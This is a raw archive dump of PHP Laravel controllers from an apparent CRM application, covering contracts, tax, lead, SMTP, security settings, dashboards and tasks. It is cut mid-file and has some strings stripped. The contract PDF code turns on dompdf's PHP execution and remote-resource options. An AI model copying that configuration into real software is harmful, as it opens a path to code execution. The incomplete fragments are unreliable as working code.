'contracts.ajax.renew', default => 'contracts.ajax.summary', }; if (request()->ajax()) { return $this->returnAjax($this->view); } $this->activeTab = $tab ?: 'profile'; return view('contracts.show', $this->data); } public function download($id) { $this->contract = Contract::findOrFail($id); $viewPermission = user()->permission('view_contract'); $this->contract = Contract::with('signature', 'client', 'client.clientDetails', 'files')->findOrFail($id)->withCustomFields(); $userId = UserService::getUserId(); $getCustomFieldGroupsWithFields = $this->contract->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } abort_403(!( $viewPermission == 'all' || ($viewPermission == 'added' && $userId == $this->contract->added_by) || ($viewPermission == 'owned' && $userId == $this->contract->client_id) || ($viewPermission == 'both' && ($userId == $this->contract->client_id || $userId == $this->contract->added_by)) )); $pdf = app('dompdf.wrapper'); $this->company = $this->settings = company(); $this->invoiceSetting = invoice_setting(); $pdf->setOption('enable_php', true); $pdf->setOptions(['isHtml5ParserEnabled' => true, 'isRemoteEnabled' => true]); App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); // $pdf->loadView('contracts.contract-pdf', $this->data); $customCss = ''; $pdf->loadHTML($customCss . view('contracts.contract-pdf', $this->data)->render()); $filename = 'contract-' . $this->contract->id; return $pdf->download($filename . '.pdf'); } public function downloadView($id) { $this->contract = Contract::findOrFail($id)->withCustomFields(); $pdf = app('dompdf.wrapper'); $this->company = $this->settings = Company::findOrFail($this->contract->company_id); $this->invoiceSetting = invoice_setting(); $getCustomFieldGroupsWithFields = $this->contract->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $pdf->setOption('enable_php', true); $pdf->setOption('isHtml5ParserEnabled', true); $pdf->setOption('isRemoteEnabled', true); App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); $pdf->loadView('contracts.contract-pdf', $this->data); $filename = 'contract-' . $this->contract->id; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function sign(SignRequest $request, $id) { $this->contract = Contract::with('signature')->findOrFail($id); if ($this->contract && $this->contract->signature) { return Reply::error(__('messages.alreadySigned')); } $sign = new ContractSign(); $sign->full_name = $request->first_name . ' ' . $request->last_name; $sign->contract_id = $this->contract->id; $sign->email = $request->email; $sign->date = now(); $sign->place = $request->place; $imageName = null; if ($request->signature_type == 'signature') { $image = $request->signature; // your base64 encoded $image = str_replace('data:image/png;base64,', '', $image); $image = str_replace(' ', '+', $image); $imageName = str_random(32) . '.' . 'jpg'; Files::createDirectoryIfNotExist('contract/sign'); File::put(public_path() . '/' . Files::UPLOAD_FOLDER . '/contract/sign/' . $imageName, base64_decode($image)); Files::uploadLocalFile($imageName, 'contract/sign', $this->contract->company_id); } else { if ($request->hasFile('image')) { $imageName = Files::uploadLocalOrS3($request->image, 'contract/sign', 300); } } $sign->signature = $imageName; $sign->save(); event(new ContractSignedEvent($this->contract, $sign)); return Reply::redirect(route('contracts.show', $this->contract->id)); } public function companySign(Request $request) { $contract = Contract::find($request->id); $imageName = null; $userId = UserService::getUserId(); if ($request->signature_type == 'signature') { $image = $request->signature; // your base64 encoded $image = str_replace('data:image/png;base64,', '', $image); $image = str_replace(' ', '+', $image); $imageName = str_random(32) . '.' . 'jpg'; Files::createDirectoryIfNotExist('contract/sign'); File::put(public_path() . '/' . Files::UPLOAD_FOLDER . '/contract/sign/' . $imageName, base64_decode($image)); Files::uploadLocalFile($imageName, 'contract/sign', $contract->company_id); } else { if ($request->hasFile('image')) { $imageName = Files::uploadLocalOrS3($request->image, 'contract/sign', 300); } } $contract->company_sign = $imageName; $contract->sign_date = now(); $contract->sign_by = $userId; $contract->update(); return Reply::successWithData(__('messages.signatureAdded'), ['status' => 'success']); } public function companiesSign(Request $request, $id) { $this->contract = Contract::find($id); return view('contracts.companysign.sign', $this->data); } public function projectDetail($id) { $this->clientDetails = null; if ($id != 0) { $projects = Project::where('client_id', $id)->get(); $this->clientDetails = User::where('id', $id)->first(); $clientInfo = [ 'mobile' => $this->clientDetails->country_phonecode .' '. $this->clientDetails->mobile, 'office_mobile' => $this->clientDetails->clientDetails->office, 'city' => $this->clientDetails->clientDetails->city, 'state' => $this->clientDetails->clientDetails->state, 'countryName' => $this->clientDetails?->country?->name, 'postalCode' => $this->clientDetails->clientDetails->postal_code, ]; } else { $projects = Project::all(); } $options = BaseModel::options($projects, null, 'project_name'); return Reply::dataOnly(['status' => 'success', 'data' => $options, 'clientDetails' => $clientInfo]); } public function companySig($id) { $this->contract = Contract::find($id); return view('contracts.companysign.sign', $this->data); } } Http/Controllers/ImportController.php000064400000003320150325104510014012 0ustar00 1 ? $execution_jobs : 1) . ' --queue=' . $name . ' --stop-when-empty'); $batch = Bus::findBatch($id); $progress = 0; $failedJobs = 0; $processedJobs = 0; $pendingJobs = 0; $totalJobs = 0; if ($batch) { $failedJobs = $batch->failedJobs; $pendingJobs = $batch->pendingJobs; $totalJobs = $batch->totalJobs; $processedJobs = $batch->processedJobs(); $progress = $totalJobs > 0 ? round((($processedJobs + $failedJobs) / $totalJobs) * 100, 2) : 0; } return Reply::dataOnly(['progress' => $progress, 'failedJobs' => $failedJobs, 'processedJobs' => $processedJobs, 'pendingJobs' => $pendingJobs, 'totalJobs' => $totalJobs]); } public function getQueueException($name) { $exceptions = DB::table('failed_jobs') ->where('queue', $name) ->get(); $view = view('import.import_exception', $this->data)->with(['exceptions' => $exceptions])->render(); return Reply::dataOnly(['view' => $view, 'count' => count($exceptions)]); } } Http/Controllers/TaxSettingController.php000064400000007031150325104510014635 0ustar00pageTitle = 'app.menu.taxSettings'; $this->activeSettingMenu = 'tax_settings'; $this->middleware(function ($request, $next) { abort_403(user()->permission('manage_tax') !== 'all'); return $next($request); }); } public function index() { $this->taxes = Tax::get(); return view('tax-settings.index', $this->data); } /** * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function create() { abort_403(user()->permission('manage_tax') !== 'all'); // via is extra parameter sent from tax-settings to know if this request comes from tax-settings or product-create-edit page if (request()->via && request()->via == 'tax-setting') { return view('tax-settings.create', $this->data); } $this->taxes = Tax::get(); return view('tax.create', $this->data); } public function edit($id) { abort_403(user()->permission('manage_tax') !== 'all'); $this->tax = Tax::findOrFail($id); return view('tax-settings.edit', $this->data); } /** * @param StoreTax $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreTax $request) { abort_403(user()->permission('manage_tax') !== 'all'); $tax = new Tax(); $tax->tax_name = $request->tax_name; $tax->rate_percent = $request->rate_percent; $tax->save(); $taxes = $this->taxDropdown(); return Reply::successWithData(__('messages.recordSaved'), ['data' => strtoupper($taxes)]); } /** * @param UpdateTax $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateTax $request, $id) { abort_403(user()->permission('manage_tax') !== 'all'); $tax = Tax::findOrFail($id); // via is extra parameter sent from tax-settings to know if this request comes from tax-settings or product-create-edit page if (request()->via && request()->via == 'tax-setting') { $tax->tax_name = $request->tax_name; $tax->rate_percent = $request->rate_percent; } else { $request->type == 'tax_name' ? ($tax->tax_name = $request->value) : ($tax->rate_percent = $request->value); } $tax->save(); $taxes = $this->taxDropdown(); return Reply::successWithData(__('messages.updateSuccess'), ['data' => $taxes]); } public function taxDropdown() { abort_403(user()->permission('manage_tax') !== 'all'); $taxes = Tax::get(); $taxOptions = ''; foreach ($taxes as $item) { $taxOptions .= ''; } return $taxOptions; } public function destroy($id) { abort_403(user()->permission('manage_tax') !== 'all'); Tax::destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/LeadSettingController.php000064400000005771150325104510014757 0ustar00pageTitle = 'modules.deal.leadSetting'; $this->activeSettingMenu = 'lead_settings'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_lead_setting') == 'all' && in_array('leads', user_modules()))); return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View|\Illuminate\Http\Response */ public function index() { $this->pipelines = LeadPipeline::with('stages')->get(); $this->leadSources = LeadSource::all(); $this->leadStages = PipelineStage::all(); $this->leadAgents = User::whereHas('leadAgent')->with('leadAgent', 'employeeDetail.designation:id,name')->get(); $this->leadCategories = LeadCategory::all(); $this->leadSettings = LeadSetting::select('status')->first(); $this->employees = User::doesntHave('leadAgent') ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->select('users.id', 'users.name', 'users.email', 'users.created_at') ->where('roles.name', 'employee') ->get(); $tab = request('tab'); $this->view = match ($tab) { 'pipeline' => 'lead-settings.ajax.pipeline', 'agent' => 'lead-settings.ajax.agent', 'category' => 'lead-settings.ajax.category', 'method' => 'lead-settings.ajax.method', default => 'lead-settings.ajax.source', }; $this->activeTab = $tab ?: 'source'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'activeTab' => $this->activeTab]); } return view('lead-settings.index', $this->data); } /** * Update the lead setting. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function updateLeadSettingStatus($id, Request $request) { $leadSetting = LeadSetting::where('company_id', $id)->first(); if(!$leadSetting){ $leadSetting = new LeadSetting; $leadSetting->company_id = $id; $leadSetting->user_id = $request->userId; } $leadSetting->status = $request->lead_setting_status; $leadSetting->save(); return reply::success(__('messages.updateSuccess')); } } Http/Controllers/SmtpSettingController.php000064400000006346150325104510015034 0ustar00pageTitle = 'app.menu.notificationSettings'; $this->activeSettingMenu = 'notification_settings'; $this->middleware(function ($request, $next) { abort_403(user()->permission('manage_notification_setting') !== 'all'); return $next($request); }); } /** * XXXXXXXXXXX * * @return array */ // phpcs:ignore public function update(UpdateSmtpSetting $request, $id) { // save all email notification settings $this->saveEmailNotificationSettings($request); $smtp = SmtpSetting::first(); $data = $request->all(); if ($request->mail_encryption == 'null') { $data['mail_encryption'] = null; } $smtp->update($data); $response = $smtp->verifySmtp(); session(['smtp_setting' => $smtp]); session()->forget('email_notification_setting'); if ($smtp->mail_driver == 'mail') { return Reply::success(__('messages.updateSuccess')); } if ($response['success']) { return Reply::success($response['message']); } // GMAIL SMTP ERROR $message = __('messages.smtpError') . '

'; if ($smtp->mail_host == 'smtp.gmail.com') { $secureUrl = 'https://froiden.freshdesk.com/support/solutions/articles/43000672983'; $message .= __('messages.smtpSecureEnabled'); $message .= '' . $secureUrl . ''; $message .= '
' . $response['message']; return Reply::error($message); } return Reply::error($message . '
' . $response['message']); } public function saveEmailNotificationSettings($request) { EmailNotificationSetting::where('send_email', 'yes')->update(['send_email' => 'no']); if ($request->send_email) { EmailNotificationSetting::whereIn('id', $request->send_email)->update(['send_email' => 'yes']); } } public function showTestEmailModal() { return view('notification-settings.send-test-mail-modal', $this->data); } public function sendTestEmail(Request $request) { $request->validate([ 'test_email' => 'required|email:rfc,strict', ]); $smtp = SmtpSetting::first(); $response = $smtp->verifySmtp(); if ($response['success']) { try { Notification::route('mail', \request()->test_email)->notify(new TestEmail()); } catch (\Exception $e) { // Test email try catch return Reply::error($e->getMessage()); } return Reply::success(__('messages.testMailSentSuccessfully')); } return Reply::error($response['message']); } } Http/Controllers/SecuritySettingController.php000064400000007655150325104510015724 0ustar00pageTitle = __('app.menu.securitySettings'); $this->activeSettingMenu = 'security_settings'; $this->middleware(function ($request, $next) { return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $this->user = user(); $this->smtpSetting = smtp_setting(); $this->setting = company(); $this->view = 'security-settings.ajax.google-recaptcha'; $tab = request('tab'); switch ($tab) { case 'recaptcha': abort_403(user()->permission('manage_security_setting') !== 'all'); $this->view = 'security-settings.ajax.google-recaptcha'; break; default: $this->view = 'security-settings.ajax.two-factor-authentication'; break; } $this->activeTab = $tab ?: '2fa'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly([ 'status' => 'success', 'html' => $html, 'title' => $this->pageTitle ]); } return view('security-settings.index', $this->data); } /** * @param UpdateGoogleCaptchaSetting $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ //phpcs:ignore public function update(UpdateGoogleCaptchaSetting $request, $id) { $google_captcha_setting = GlobalSetting::first(); if ($request->version == 'v3') { $google_captcha_setting->google_recaptcha_v3_site_key = $request->google_recaptcha_v3_site_key; $google_captcha_setting->google_recaptcha_v3_secret_key = $request->google_recaptcha_v3_secret_key; $google_captcha_setting->google_recaptcha_v3_status = 'active'; $google_captcha_setting->google_recaptcha_v2_status = 'deactive'; } elseif ($request->version == 'v2') { $google_captcha_setting->google_recaptcha_v2_site_key = $request->google_recaptcha_v2_site_key; $google_captcha_setting->google_recaptcha_v2_secret_key = $request->google_recaptcha_v2_secret_key; $google_captcha_setting->google_recaptcha_v2_status = 'active'; $google_captcha_setting->google_recaptcha_v3_status = 'deactive'; } if (!$request->google_recaptcha_status) { $google_captcha_setting->google_recaptcha_v2_status = 'deactive'; $google_captcha_setting->google_recaptcha_v3_status = 'deactive'; $google_captcha_setting->google_recaptcha_status = 'deactive'; } elseif ($request->google_recaptcha_status) { $google_captcha_setting->google_recaptcha_status = 'active'; } $google_captcha_setting->save(); cache()->forget('global_setting'); if ($request->cache) { Artisan::call('optimize'); Artisan::call('route:clear'); } else { Artisan::call('optimize:clear'); Artisan::call('config:clear'); Artisan::call('route:clear'); Artisan::call('view:clear'); Artisan::call('cache:clear'); } return Reply::success(__('messages.updateSuccess')); } public function verify() { $this->key = request()->key; return view('security-settings.verify-recaptcha-v3', $this->data); } } Http/Controllers/DashboardController.php000064400000047155150325104510014445 0ustar00pageTitle = 'app.menu.dashboard'; $this->middleware(function ($request, $next) { return $next($request); }); } /** * @return array|\Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View|\Illuminate\Http\Response|mixed|void */ public function index() { $this->isCheckScript(); session()->forget(['qr_clock_in']); if (in_array('employee', user_roles())) { $this->viewOverviewDashboard = user()->permission('view_overview_dashboard'); $this->viewProjectDashboard = user()->permission('view_project_dashboard'); $this->viewClientDashboard = user()->permission('view_client_dashboard'); $this->viewHRDashboard = user()->permission('view_hr_dashboard'); $this->viewTicketDashboard = user()->permission('view_ticket_dashboard'); $this->viewFinanceDashboard = user()->permission('view_finance_dashboard'); return $this->employeeDashboard(); } if (in_array('client', user_roles())) { return $this->clientPanelDashboard(); } } public function widget(Request $request, $dashboardType) { $data = $request->except('_token'); // Step 1: Reset all widgets' status to 0 DashboardWidget::where('status', 1) ->where('dashboard_type', $dashboardType) ->update(['status' => 0]); // Step 2: Update the status to 1 for widgets present in the request if (!empty($data)) { DashboardWidget::where('dashboard_type', $dashboardType) ->whereIn('widget_name', array_keys($data)) ->update(['status' => 1]); } return Reply::success(__('messages.updateSuccess')); } public function checklist() { if (in_array('admin', user_roles())) { $this->isCheckScript(); return view('dashboard.checklist', $this->data); } } /** * @return array|\Illuminate\Http\Response */ public function memberDashboard() { abort_403(!in_array('employee', user_roles())); return $this->employeeDashboard(); } public function advancedDashboard() { if (in_array('admin', user_roles()) || $this->sidebarUserPermissions['view_overview_dashboard'] == 4 || $this->sidebarUserPermissions['view_project_dashboard'] == 4 || $this->sidebarUserPermissions['view_client_dashboard'] == 4 || $this->sidebarUserPermissions['view_hr_dashboard'] == 4 || $this->sidebarUserPermissions['view_ticket_dashboard'] == 4 || $this->sidebarUserPermissions['view_finance_dashboard'] == 4) { $tab = request('tab'); switch ($tab) { case 'project': $this->projectDashboard(); break; case 'client': $this->clientDashboard(); break; case 'hr': $this->hrDashboard(); break; case 'ticket': $this->ticketDashboard(); break; case 'finance': $this->financeDashboard(); break; default: if (in_array('admin', user_roles()) || $this->sidebarUserPermissions['view_overview_dashboard'] == 4) { $this->activeTab = $tab ?: 'overview'; $this->overviewDashboard(); } elseif ($this->sidebarUserPermissions['view_project_dashboard'] == 4) { $this->activeTab = $tab ?: 'project'; $this->projectDashboard(); } elseif ($this->sidebarUserPermissions['view_client_dashboard'] == 4) { $this->activeTab = $tab ?: 'client'; $this->clientDashboard(); } elseif ($this->sidebarUserPermissions['view_hr_dashboard'] == 4) { $this->activeTab = $tab ?: 'hr'; $this->hrDashboard(); } elseif ($this->sidebarUserPermissions['view_finance_dashboard'] == 4) { $this->activeTab = $tab ?: 'finance'; $this->ticketDashboard(); } else if ($this->sidebarUserPermissions['view_ticket_dashboard'] == 4) { $this->activeTab = $tab ?: 'finance'; $this->financeDashboard(); } break; } if (request()->ajax()) { return $this->returnAjax($this->view); } if (!isset($this->activeTab)) { $this->activeTab = $tab ?: 'overview'; } return view('dashboard.admin', $this->data); } } public function accountUnverified() { return view('dashboard.unverified', $this->data); } public function weekTimelog() { $now = now(company()->timezone); $attndcSetting = attendance_setting(); $this->timelogDate = $timelogDate = Carbon::parse(request()->date); $this->weekStartDate = $now->copy()->startOfWeek($attndcSetting->week_start_from); $this->weekEndDate = $this->weekStartDate->copy()->addDays(7); $this->weekPeriod = CarbonPeriod::create($this->weekStartDate, $this->weekStartDate->copy()->addDays(6)); // Get All Dates from start to end date $this->dateWiseTimelogs = ProjectTimeLog::dateWiseTimelogs($timelogDate->toDateString(), user()->id); $this->dateWiseTimelogBreak = ProjectTimeLogBreak::dateWiseTimelogBreak($timelogDate->toDateString(), user()->id); $this->weekWiseTimelogs = ProjectTimeLog::weekWiseTimelogs($this->weekStartDate->copy()->toDateString(), $this->weekEndDate->copy()->toDateString(), user()->id); $this->weekWiseTimelogBreak = ProjectTimeLogBreak::weekWiseTimelogBreak($this->weekStartDate->toDateString(), $this->weekEndDate->toDateString(), user()->id); $this->dayMinutes = $this->dateWiseTimelogs->sum('total_minutes'); $this->dayBreakMinutes = $this->dateWiseTimelogBreak->sum('total_minutes'); $loggedMinutes = $this->dayMinutes - $this->dayBreakMinutes; $this->totalDayMinutes = $this->formatTime($loggedMinutes); $this->totalDayBreakMinutes = $this->formatTime($this->dayBreakMinutes); $html = view('dashboard.employee.week_timelog', $this->data)->render(); return Reply::dataOnly(['html' => $html]); } private function formatTime($totalMinutes) { $hours = intdiv($totalMinutes, 60); $minutes = $totalMinutes % 60; return $hours > 0 ? $hours . 'h' . ($minutes > 0 ? ' ' . sprintf('%02dm', $minutes) : '') : ($minutes > 0 ? sprintf('%dm', $minutes) : '0s'); } public function privateCalendar() { if (request()->filter) { $employee_details = EmployeeDetails::where('user_id', user()->id)->first(); $employee_details->calendar_view = request()->filter ? request()->filter : null; $employee_details->save(); session()->forget('user'); } $startDate = Carbon::parse(request('start')); $endDate = Carbon::parse(request('end')); // get calendar view current logined user $calendar_filter_array = explode(',', user()->employeeDetail->calendar_view); $eventData = array(); $viewEventPerm = user()->permission('view_events'); if (!is_null($viewEventPerm) && $viewEventPerm != 'none') { if (in_array('events', $calendar_filter_array)) { // Events $model = Event::with('attendee', 'attendee.user'); $model->where(function ($query) { $query->whereHas('attendee', function ($query) { $query->where('user_id', user()->id); }); $query->orWhere('added_by', user()->id); }); $model->whereBetween('start_date_time', [$startDate->toDateString(), $endDate->toDateString()]); $events = $model->get(); foreach ($events as $event) { $eventData[] = [ 'id' => $event->id, 'title' => $event->event_name, 'start' => $event->start_date_time, 'end' => $event->end_date_time, 'event_type' => 'event', 'extendedProps' => ['bg_color' => $event->label_color, 'color' => '#fff', 'icon' => 'fa-calendar'] ]; } } } $user = user(); $viewHolidayPerm = user()->permission('view_holiday'); if (!is_null($viewHolidayPerm) && $viewHolidayPerm != 'none') { if (in_array('holiday', $calendar_filter_array)) { // holiday $holidays = Holiday::whereBetween('date', [$startDate->toDateString(), $endDate->toDateString()]) ->where(function ($query) use ($user) { $query->where(function ($subquery) use ($user) { $subquery->where(function ($q) use ($user) { $q->where('department_id_json', 'like', '%"' . $user->employeeDetail->department_id . '"%') ->orWhereNull('department_id_json'); }); $subquery->where(function ($q) use ($user) { $q->where('designation_id_json', 'like', '%"' . $user->employeeDetail->designation_id . '"%') ->orWhereNull('designation_id_json'); }); $subquery->where(function ($q) use ($user) { $q->where('employment_type_json', 'like', '%"' . $user->employeeDetail->employment_type . '"%') ->orWhereNull('employment_type_json'); }); }); }); $holidays = $holidays->get(); foreach ($holidays as $holiday) { $eventData[] = [ 'id' => $holiday->id, 'title' => $holiday->occassion, 'start' => $holiday->date, 'end' => $holiday->date, 'event_type' => 'holiday', 'extendedProps' => ['bg_color' => '#1d82f5', 'color' => '#fff', 'icon' => 'fa-star'] ]; } } } $viewTaskPerm = user()->permission('view_tasks'); if (!is_null($viewTaskPerm) && $viewTaskPerm != 'none') { if (in_array('task', $calendar_filter_array)) { // tasks $completedTaskColumn = TaskboardColumn::completeColumn(); $tasks = Task::with('boardColumn') ->where('board_column_id', '<>', $completedTaskColumn->id) ->whereHas('users', function ($query) { $query->where('user_id', user()->id); }) ->where(function ($q) use ($startDate, $endDate) { $q->whereBetween(DB::raw('DATE(tasks.`due_date`)'), [$startDate->toDateString(), $endDate->toDateString()]); $q->orWhereBetween(DB::raw('DATE(tasks.`start_date`)'), [$startDate->toDateString(), $endDate->toDateString()]); })->get(); foreach ($tasks as $task) { $eventData[] = [ 'id' => $task->id, 'title' => $task->heading, 'start' => $task->start_date, 'end' => $task->due_date ?: $task->start_date, 'event_type' => 'task', 'extendedProps' => ['bg_color' => $task->boardColumn->label_color, 'color' => '#fff', 'icon' => 'fa-list'] ]; } } } $viewTicketPerm = user()->permission('view_tickets'); if (!is_null($viewTicketPerm) && $viewTicketPerm != 'none') { if (in_array('tickets', $calendar_filter_array)) { $userid = user()->id; // tickets $tickets = Ticket::where(function ($query) use ($userid) { $query->where('tickets.user_id', '=', $userid)->orWhere('agent_id', '=', $userid); })->whereBetween(DB::raw('DATE(tickets.`created_at`)'), [$startDate->toDateTimeString(), $endDate->endOfDay()->toDateTimeString()])->get(); foreach ($tickets as $ticket) { $startTime = $ticket->created_at->timezone($this->company->timezone); $endTime = $ticket->created_at->timezone($this->company->timezone); $eventData[] = [ 'id' => $ticket->ticket_number, 'title' => $ticket->subject, 'start' => $startTime?->toDateTimeString(), 'end' => $endTime?->toDateTimeString(), 'event_type' => 'ticket', 'extendedProps' => ['bg_color' => '#1d82f5', 'color' => '#fff', 'icon' => 'fa-ticket-alt'] ]; } } } $viewleavePerm = user()->permission('view_leave'); if (!is_null($viewleavePerm) && $viewleavePerm != 'none') { if (in_array('leaves', $calendar_filter_array)) { // approved leaves of all emoloyees with employee name $leaves = Leave::join('leave_types', 'leave_types.id', 'leaves.leave_type_id') ->where('leaves.status', 'approved') ->select('leaves.id', 'leaves.leave_date', 'leaves.status', 'leave_types.type_name', 'leave_types.color', 'leaves.leave_date', 'leaves.duration', 'leaves.status', 'leaves.user_id') ->with('user') ->whereBetween(DB::raw('DATE(leaves.`leave_date`)'), [$startDate->toDateString(), $endDate->toDateString()]) ->get(); foreach ($leaves as $leave) { $duration = ($leave->duration == 'half day') ? '( ' . __('app.halfday') . ' )' : ''; $eventData[] = [ 'id' => $leave->id, 'title' => $duration . ' ' . $leave->user->name, 'start' => $leave->leave_date->toDateString(), 'end' => $leave->leave_date->toDateString(), 'event_type' => 'leave', /** @phpstan-ignore-next-line */ 'extendedProps' => ['name' => 'Leave : ' . $leave->user->name, 'bg_color' => $leave->color, 'color' => '#fff', 'icon' => 'fa-plane-departure'] ]; } } } $viewDealPerm = user()->permission('view_deals'); if (!is_null($viewDealPerm) && $viewDealPerm != 'none') { if (in_array('follow_ups', $calendar_filter_array)) { // follow ups $followUps = DealFollowUp::with('lead')->whereHas('lead.leadAgent', function ($query) { $query->where('user_id', user()->id); }) ->whereBetween(DB::raw('DATE(next_follow_up_date)'), [$startDate->startOfDay()->toDateTimeString(), $endDate->endOfDay()->toDateTimeString()]) ->get(); foreach ($followUps as $followUp) { $eventData[] = [ 'id' => $followUp->deal_id, 'title' => $followUp->lead->name, 'start' => $followUp->next_follow_up_date->timezone(company()->timezone), 'end' => $followUp->next_follow_up_date->timezone(company()->timezone), 'event_type' => 'follow_up', 'extendedProps' => ['bg_color' => '#1d82f5', 'color' => '#fff', 'icon' => 'fa-thumbs-up'] ]; } } } return $eventData; } public function getLeadStage($pipelineId) { $this->startDate = (request('startDate') != '') ? Carbon::createFromFormat($this->company->date_format, request('startDate')) : now($this->company->timezone)->startOfMonth(); $this->endDate = (request('endDate') != '') ? Carbon::createFromFormat($this->company->date_format, request('endDate')) : now($this->company->timezone); $startDate = $this->startDate->toDateString(); $endDate = $this->endDate->toDateString(); $this->leadPipelines = LeadPipeline::all(); $this->leadStatusChart = $this->leadStatusChart($startDate, $endDate, $pipelineId); return $this->returnAjax('dashboard.ajax.lead-by-pipeline'); } public function beamAuth() { $userID = 'wrkst-'.user()->id; $userIDInQueryParam = request()->user_id; if ($userID != $userIDInQueryParam) { return response('Inconsistent request', 401); } else { $beamsClient = new \Pusher\PushNotifications\PushNotifications([ 'instanceId' => push_setting()->instance_id, 'secretKey' => push_setting()->beam_secret, ]); $beamsToken = $beamsClient->generateToken($userID); return response()->json($beamsToken); } } public function sendPushNotifications($usersIDs, $title, $body) { $setting = PushNotificationSetting::first(); if ($setting->beams_push_status && count($usersIDs) > 0) { $beamsClient = new \Pusher\PushNotifications\PushNotifications([ 'instanceId' => $setting->instance_id, 'secretKey' => $setting->beam_secret, ]); $pushIDs = []; foreach ($usersIDs[0] as $key => $uid) { $pushIDs[] = 'wrkst-' . $uid; } $publishResponse = $beamsClient->publishToUsers( $pushIDs, array( 'web' => array( 'notification' => array( 'title' => $title, 'body' => $body, 'icon' => companyOrGlobalSetting()->logo_url ) ) )); } return true; } } Http/Controllers/TaskController.php000064400000147775150325104510013471 0ustar00pageTitle = 'app.menu.tasks'; $this->middleware( function ($request, $next) { abort_403(!in_array('tasks', $this->user->modules)); return $next($request); } ); } public function index(TasksDataTable $dataTable) { $viewPermission = user()->permission('view_tasks'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); if (!request()->ajax()) { $this->assignedTo = request()->assignedTo; if (request()->has('assignee') && request()->assignee == 'me') { $this->assignedTo = user()->id; } $this->projects = Project::allProjects(); if (in_array('client', user_roles())) { $this->clients = User::client(); } else { $this->clients = User::allClients(); } $this->employees = User::allEmployees(null, true, ($viewPermission == 'all' ? 'all' : null)); $this->taskBoardStatus = TaskboardColumn::all(); $this->taskCategories = TaskCategory::all(); $this->taskLabels = TaskLabelList::all(); $this->milestones = ProjectMilestone::all(); $taskBoardColumn = TaskboardColumn::waitingForApprovalColumn(); $projectIds = Project::where('project_admin', user()->id)->pluck('id'); if (!in_array('admin', user_roles()) && (in_array('employee', user_roles()) && $projectIds->isEmpty())) { $user = User::findOrFail(user()->id); $this->waitingApprovalCount = $user->tasks()->where('board_column_id', $taskBoardColumn->id)->where('company_id', company()->id)->count(); }elseif(!in_array('admin', user_roles()) && (in_array('employee', user_roles()) && !$projectIds->isEmpty())) { $this->waitingApprovalCount = Task::whereIn('project_id', $projectIds)->where('board_column_id', $taskBoardColumn->id)->where('company_id', company()->id)->count(); }else{ $this->waitingApprovalCount = Task::where('board_column_id', $taskBoardColumn->id)->where('company_id', company()->id)->count(); } } return $dataTable->render('tasks.index', $this->data); } /** * XXXXXXXXXXX * * @return array */ public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); case 'change-status': $this->changeBulkStatus($request); return Reply::success(__('messages.updateSuccess')); case 'milestone': $this->changeMilestones($request); return Reply::success(__('messages.updateSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_tasks') != 'all'); $ids = explode(',', $request->row_ids); Task::whereIn('id', $ids)->delete(); } protected function changeBulkStatus($request) { abort_403(user()->permission('edit_tasks') != 'all'); $taskBoardColumn = TaskboardColumn::findOrFail(request()->status); // Update tasks based on the requested status $taskIds = explode(',', $request->row_ids); if ($taskBoardColumn && $taskBoardColumn->slug == 'completed') { Task::whereIn('id', $taskIds)->update([ 'status' => 'completed', 'board_column_id' => $request->status, 'completed_on' => now()->format('Y-m-d') ]); } else { Task::whereIn('id', $taskIds)->update(['board_column_id' => $request->status]); } } public function changeMilestones($request) { abort_403(user()->permission('edit_tasks') != 'all'); $taskIds = explode(',', $request->row_ids); Task::whereIn('id', $taskIds)->update([ 'milestone_id' => $request->milestone ]); } public function changeStatus(Request $request) { $taskId = $request->taskId; $status = $request->status; $task = Task::withTrashed()->with('project', 'users')->findOrFail($taskId); $taskUsers = $task->users->pluck('id')->toArray(); $this->editPermission = user()->permission('edit_tasks'); $this->changeStatusPermission = user()->permission('change_status'); abort_403( !( $this->changeStatusPermission == 'all' || ($this->changeStatusPermission == 'added' && $task->added_by == user()->id) || ($this->changeStatusPermission == 'owned' && in_array(user()->id, $taskUsers)) || ($this->changeStatusPermission == 'both' && (in_array(user()->id, $taskUsers) || $task->added_by == user()->id)) || ($task->project && $task->project->project_admin == user()->id) ) ); $taskBoardColumn = TaskboardColumn::where('slug', $status)->first(); $task->board_column_id = $taskBoardColumn->id; if ($task->status === 'completed' && $status !== 'completed') { $task->approval_send = 0; // Reset approval_send to 0 } if ($taskBoardColumn->slug == 'completed') { $task->status = 'completed'; $task->completed_on = now()->format('Y-m-d'); } else { $task->completed_on = null; } if ($task->trashed()) { $task->saveQuietly(); } else { $task->save(); } if ($task->project_id != null) { if ($task->project->calculate_task_progress == 'true') 